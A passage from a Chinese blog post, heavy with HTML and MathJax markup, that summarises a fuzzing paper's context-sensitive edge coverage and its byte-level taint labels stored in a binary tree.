%8</em>这条边的。所以这个例子实际上在这里不合适。那在这里什么样的例子应该合适呢？应该是确保走过相同的edge的，不同上下文带来的影响。我能想到的唯一改变是下列这种情况:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">f</span><span class="params">(<span class="keyword">int</span> x)</span></span>{</span><br><span class="line">  ...</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">main</span><span class="params">()</span></span>{</span><br><span class="line">  if(input()=='111'){</span><br><span class="line">    f(input());</span><br><span class="line">    f(input());</span><br><span class="line">  }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>加入context以后，因为L7和L8,处于不同<em>callside</em>,但是两者调用<em>f</em>,假设经过的edge一样，会导致在<em>f</em>,会多出一倍的edge元素，就像我前面说的，可能以前某个edge计数为2，可能现在被拆分成了两个不同的edge。在某种程度上改变了AFL中的edge计数的<em>feature</em>，可能变得更“敏感”一些了。但是我很难去推演它的这种”敏感“，到底能带来什么？我想要知道这种形式的”敏感“，是否可以孤身存在，而不对其他东西产生影响？这些东西于我而言，现在还是难以解释。</p><p><strong>字节粒度的污点分析</strong> （没有涉及taint rules）</p><p>文中没有细讲taint的过程，而是主要讲了一下taint过程中的污点表示，taint存在的意义是为了将输入和路径条件建立映射关系，在<em>mutating</em>阶段能更好的去解决路径条件。</p><p>定义：标签 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.357ex" xmlns="http://www.w3.org/2000/svg" width="1.92ex" height="1.773ex" role="img" focusable="false" viewBox="0 -626 848.5 783.8"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D461" d="M26 385Q19 392 19 395Q19 399 22 411T27 425Q29 430 36 430T87 431H140L159 511Q162 522 166 540T173 566T179 586T187 603T197 615T211 624T229 626Q247 625 254 615T261 596Q261 589 252 549T232 470L222 433Q222 431 272 431H323Q330 424 330 420Q330 398 317 385H210L174 240Q135 80 135 68Q135 26 162 26Q197 26 230 60T283 144Q285 150 288 151T303 153H307Q322 153 322 145Q322 142 319 133Q314 117 301 95T267 48T216 6T155 -11Q125 -11 98 4T59 56Q57 64 57 83V101L92 241Q127 382 128 383Q128 385 77 385H26Z"></path></g><g data-mml-node="mi" transform="translate(394,-150) scale(0.707)"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g></g></g></g></svg></mjx-container></span> 表示输入<em>input</em>中的哪些字节会流入变量 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="1.294ex" height="1.025ex" role="img" focusable="false" viewBox="0 -442 572 453"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g></g></g></svg></mjx-container></span> 。通常 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.357ex" xmlns="http://www.w3.org/2000/svg" width="1.92ex" height="1.773ex" role="img" focusable="false" viewBox="0 -626 848.5 783.8"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D461" d="M26 385Q19 392 19 395Q19 399 22 411T27 425Q29 430 36 430T87 431H140L159 511Q162 522 166 540T173 566T179 586T187 603T197 615T211 624T229 626Q247 625 254 615T261 596Q261 589 252 549T232 470L222 433Q222 431 272 431H323Q330 424 330 420Q330 398 317 385H210L174 240Q135 80 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289Z"></path></g></g></g></g></svg></mjx-container></span> 用位向量来表示， <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.357ex" xmlns="http://www.w3.org/2000/svg" width="1.92ex" height="1.773ex" role="img" focusable="false" viewBox="0 -626 848.5 783.8"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D461" d="M26 385Q19 392 19 395Q19 399 22 411T27 425Q29 430 36 430T87 431H140L159 511Q162 522 166 540T173 566T179 586T187 603T197 615T211 624T229 626Q247 625 254 615T261 596Q261 589 252 549T232 470L222 433Q222 431 272 431H323Q330 424 330 420Q330 398 317 385H210L174 240Q135 80 135 68Q135 26 162 26Q197 26 230 60T283 144Q285 150 288 151T303 153H307Q322 153 322 145Q322 142 319 133Q314 117 301 95T267 48T216 6T155 -11Q125 -11 98 4T59 56Q57 64 57 83V101L92 241Q127 382 128 383Q128 385 77 385H26Z"></path></g><g data-mml-node="mi" transform="translate(394,-150) scale(0.707)"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g></g></g></g></svg></mjx-container></span> 会随着输入的大小线性增长。为了应对<em>large input</em>，文中构造了一个数据结构，来存储和查询 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.357ex" xmlns="http://www.w3.org/2000/svg" width="1.92ex" height="1.773ex" role="img" focusable="false" viewBox="0 -626 848.5 783.8"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D461" d="M26 385Q19 392 19 395Q19 399 22 411T27 425Q29 430 36 430T87 431H140L159 511Q162 522 166 540T173 566T179 586T187 603T197 615T211 624T229 626Q247 625 254 615T261 596Q261 589 252 549T232 470L222 433Q222 431 272 431H323Q330 424 330 420Q330 398 317 385H210L174 240Q135 80 135 68Q135 26 162 26Q197 26 230 60T283 144Q285 150 288 151T303 153H307Q322 153 322 145Q322 142 319 133Q314 117 301 95T267 48T216 6T155 -11Q125 -11 98 4T59 56Q57 64 57 83V101L92 241Q127 382 128 383Q128 385 77 385H26Z"></path></g><g data-mml-node="mi" transform="translate(394,-150) scale(0.707)"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g></g></g></g></svg></mjx-container></span> ：</p><ol type="1"><li><p><em>Binary tree</em>：（ <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="0.971ex" height="1.595ex" role="img" focusable="false" viewBox="0 -694 429 705"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D44F" d="M73 647Q73 657 77 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style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="0.971ex" height="1.595ex" role="img" focusable="false" viewBox="0 -694 429 705"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g></g></g></svg></mjx-container></span> ,都可以用这个树上的高度为 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.564ex" xmlns="http://www.w3.org/2000/svg" width="2.229ex" height="2.26ex" role="img" focusable="false" viewBox="0 -749.5 985 999"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mo" transform="translate(0 -0.5)"><path data-c="7C" d="M139 -249H137Q125 -249 119 -235V251L120 737Q130 750 139 750Q152 750 159 735V-235Q151 -249 141 -249H139Z"></path></g><g data-mml-node="mi" transform="translate(278,0)"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g><g data-mml-node="mo" transform="translate(707,0) translate(0 -0.5)"><path data-c="7C" d="M139 -249H137Q125 -249 119 -235V251L120 737Q130 750 139 750Q152 750 159 735V-235Q151 -249 141 -249H139Z"></path></g></g></g></svg></mjx-container></span> 的节点 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.357ex" xmlns="http://www.w3.org/2000/svg" width="1.971ex" height="1.359ex" role="img" focusable="false" viewBox="0 -443 871.3 600.8"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D463" d="M173 380Q173 405 154 405Q130 405 104 376T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Q21 294 29 316T53 368T97 419T160 441Q202 441 225 417T249 361Q249 344 246 335Q246 329 231 291T200 202T182 113Q182 86 187 69Q200 26 250 26Q287 26 319 60T369 139T398 222T409 277Q409 300 401 317T383 343T365 361T357 383Q357 405 376 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focusable="false" viewBox="0 -443 871.3 600.8"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D463" d="M173 380Q173 405 154 405Q130 405 104 376T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Q21 294 29 316T53 368T97 419T160 441Q202 441 225 417T249 361Q249 344 246 335Q246 329 231 291T200 202T182 113Q182 86 187 69Q200 26 250 26Q287 26 319 60T369 139T398 222T409 277Q409 300 401 317T383 343T365 361T357 383Q357 405 376 424T417 443Q436 443 451 425T467 367Q467 340 455 284T418 159T347 40T241 -11Q177 -11 139 22Q102 54 102 117Q102 148 110 181T151 298Q173 362 173 380Z"></path></g><g data-mml-node="mi" transform="translate(518,-150) scale(0.707)"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g></g></g></g></svg></mjx-container></span> 路径上的节点依次展开为 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.439ex" xmlns="http://www.w3.org/2000/svg" width="8.724ex" height="2.009ex" role="img" focusable="false" viewBox="0 -694 3855.9 888"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 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96 17Z"></path></g><g data-mml-node="mi" transform="translate(1310.2,0)"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g><g data-mml-node="mn" transform="translate(1739.2,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path></g><g data-mml-node="mo" transform="translate(2239.2,0)"><path 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683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g></g></g></g></svg></mjx-container></span> , 即保存着指向 Binary tree里面结点的指针。</p><p>画了一个图，方便理解和记忆：</p><figure><img src="https://forum.90sec.com/uploads/default/original/2X/2/2b781f689565af620c5d513e6294267436e7b26a.png" alt="binary_tree1"><figcaption aria-hidden="true">binary_tree1</figcaption></figure></li></ol><p><span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.357ex" xmlns="http://www.w3.org/2000/svg" width="1.92ex" height="1.773ex" role="img" focusable="false" viewBox="0 -626 848.5 783.8"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D461" d="M26 385Q19 392 19 395Q19 399 22 411T27 425Q29 430 36 430T87 431H140L159 511Q162 522 166 540T173 566T179 586T187 603T197 615T211 624T229 626Q247 625 254 615T261 596Q261 589 252 549T232 470L222 433Q222 431 272 431H323Q330 424 330 420Q330 398 317 385H210L174 240Q135 80 135 68Q135 26 162 26Q197 26 230 60T283 144Q285 150 288 151T303 153H307Q322 153 322 145Q322 142 319 133Q314 117 301 95T267 48T216 6T155 -11Q125 -11 98 4T59 56Q57 64 57 83V101L92 241Q127 382 128 383Q128 385 77 385H26Z"></path></g><g data-mml-node="mi" transform="translate(394,-150) scale(0.707)"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g></g></g></g></svg></mjx-container></span> <strong>插入操作</strong>： 1. 去掉 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.357ex" xmlns="http://www.w3.org/2000/svg" width="1.971ex" height="1.359ex" role="img" focusable="false" viewBox="0 -443 871.3 600.8"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D463" d="M173 380Q173 405 154 405Q130 405 104 376T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Q21 294 29 316T53 368T97 419T160 441Q202 441 225 417T249 361Q249 344 246 335Q246 329 231 291T200 202T182 113Q182 86 187 69Q200 26 250 26Q287 26 319 60T369 139T398 222T409 277Q409 300 401 317T383 343T365 361T357 383Q357 405 376 424T417 443Q436 443 451 425T467 367Q467 340 455 284T418 159T347 40T241 -11Q177 -11 139 22Q102 54 102 117Q102 148 110 181T151 298Q173 362 173 380Z"></path></g><g data-mml-node="mi" transform="translate(518,-150) scale(0.707)"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g></g></g></g></svg></mjx-container></span> 结尾所有的0。 2. 遵循<em>Binary tree</em>策略，用 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.025ex" xmlns="http://www.w3.org/2000/svg" width="0.971ex" height="1.595ex" role="img" focusable="false" viewBox="0 -694 429 705"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g></g></g></svg></mjx-container></span> 去遍历<em>Binary tree</em>，如果 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.357ex" xmlns="http://www.w3.org/2000/svg" width="5.859ex" height="1.927ex" role="img" focusable="false" viewBox="0 -694 2589.5 851.8"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D44F" d="M73 647Q73 657 77 670T89 683Q90 683 161 688T234 694Q246 694 246 685T212 542Q204 508 195 472T180 418L176 399Q176 396 182 402Q231 442 283 442Q345 442 383 396T422 280Q422 169 343 79T173 -11Q123 -11 82 27T40 150V159Q40 180 48 217T97 414Q147 611 147 623T109 637Q104 637 101 637H96Q86 637 83 637T76 640T73 647ZM336 325V331Q336 405 275 405Q258 405 240 397T207 376T181 352T163 330L157 322L136 236Q114 150 114 114Q114 66 138 42Q154 26 178 26Q211 26 245 58Q270 81 285 114T318 219Q336 291 336 325Z"></path></g><g data-mml-node="mi" transform="translate(462,-150) scale(0.707)"><path data-c="1D456" d="M184 600Q184 624 203 642T247 661Q265 661 277 649T290 619Q290 596 270 577T226 557Q211 557 198 567T184 600ZM21 287Q21 295 30 318T54 369T98 420T158 442Q197 442 223 419T250 357Q250 340 236 301T196 196T154 83Q149 61 149 51Q149 26 166 26Q175 26 185 29T208 43T235 78T260 137Q263 149 265 151T282 153Q302 153 302 143Q302 135 293 112T268 61T223 11T161 -11Q129 -11 102 10T74 74Q74 91 79 106T122 220Q160 321 166 341T173 380Q173 404 156 404H154Q124 404 99 371T61 287Q60 286 59 284T58 281T56 279T53 278T49 278T41 278H27Q21 284 21 287Z"></path></g></g><g data-mml-node="mo" transform="translate(1033.7,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mn" transform="translate(2089.5,0)"><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z"></path></g></g></g></svg></mjx-container></span> ,则<em>follow</em>左子结点，反之亦然，如果子结点不存在则创建结点。 3. 把 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.357ex" xmlns="http://www.w3.org/2000/svg" width="1.92ex" height="1.773ex" role="img" focusable="false" viewBox="0 -626 848.5 783.8"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D461" d="M26 385Q19 392 19 395Q19 399 22 411T27 425Q29 430 36 430T87 431H140L159 511Q162 522 166 540T173 566T179 586T187 603T197 615T211 624T229 626Q247 625 254 615T261 596Q261 589 252 549T232 470L222 433Q222 431 272 431H323Q330 424 330 420Q330 398 317 385H210L174 240Q135 80 135 68Q135 26 162 26Q197 26 230 60T283 144Q285 150 288 151T303 153H307Q322 153 322 145Q322 142 319 133Q314 117 301 95T267 48T216 6T155 -11Q125 -11 98 4T59 56Q57 64 57 83V101L92 241Q127 382 128 383Q128 385 77 385H26Z"></path></g><g data-mml-node="mi" transform="translate(394,-150) scale(0.707)"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g></g></g></g></svg></mjx-container></span> 存储到树上最后一个<em>visited</em>的结点。</p><p>注意到这个算法只在生产新结点的时候，插入 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.357ex" xmlns="http://www.w3.org/2000/svg" width="1.92ex" height="1.773ex" role="img" focusable="false" viewBox="0 -626 848.5 783.8"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D461" d="M26 385Q19 392 19 395Q19 399 22 411T27 425Q29 430 36 430T87 431H140L159 511Q162 522 166 540T173 566T179 586T187 603T197 615T211 624T229 626Q247 625 254 615T261 596Q261 589 252 549T232 470L222 433Q222 431 272 431H323Q330 424 330 420Q330 398 317 385H210L174 240Q135 80 135 68Q135 26 162 26Q197 26 230 60T283 144Q285 150 288 151T303 153H307Q322 153 322 145Q322 142 319 133Q314 117 301 95T267 48T216 6T155 -11Q125 -11 98 4T59 56Q57 64 57 83V101L92 241Q127 382 128 383Q128 385 77 385H26Z"></path></g><g data-mml-node="mi" transform="translate(394,-150) scale(0.707)"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g></g></g></g></svg></mjx-container></span> ，所以某个结点如果存在 <span class="math inline"><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.357ex" xmlns="http://www.w3.org/2000/svg" width="1.92ex" height="1.773ex" role="img" focusable="false" viewBox="0 -626 848.5 783.8"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D461" d="M26 385Q19 392 19 395Q19 399 22 411T27 425Q29 430 36 430T87 431H140L159 511Q162 522 166 540T173 566T179 586T187 603T197 615T211 624T229 626Q247 625 254 615T261 596Q261 589 252 549T232 470L222 433Q222 431 272 431H323Q330 424 330 420Q330 398 317 385H210L174 240Q135 80 135 68Q135 26 162 26Q197 26 230 60T283 144Q285 150 288 151T303 153H307Q322 153 322 145Q322 142 319 133Q314 117 301 95T267 48T216 6T155 -11Q125 -11 98 4T59 56Q57 64 57 83V101L92 241Q127 382 128 383Q128 385 77 385H26Z"></path></g><g data-mml-node="mi" transform="translate(394,-150) scale(0.707)"><path data-c="1D465" d="M52 289Q59 331 106 386T222 442Q257 442 286 424T329 379Q371 442 430 442Q467 442 494 420T522 361Q522 332 508 314T481 292T458 288Q439 288 427 299T415 328Q415 374 465 391Q454 404 425 404Q412 404 406 402Q368 386 350 336Q290 115 290 78Q290 50 306 38T341 26Q378 26 414 59T463 140Q466 150 469 151T485 153H489Q504 153 504 145Q504 144 502 134Q486 77 440 33T333 -11Q263 -11 227 52Q186 -10 133 -10H127Q78 -10 57 16T35 71Q35 103 54 123T99 143Q142 143 142 101Q142 81 130 66T107 46T94 41L91 40Q91 39 97 36T113 29T132 26Q168 26 194 71Q203 87 217 139T245 247T261 313Q266 340 266 352Q266 380 251 392T217 404Q177 404 142 372T93 290Q91 281 88 280T72 278H58Q52 284 52 289Z"></path></g></g></g></g></svg></mjx-container></span> 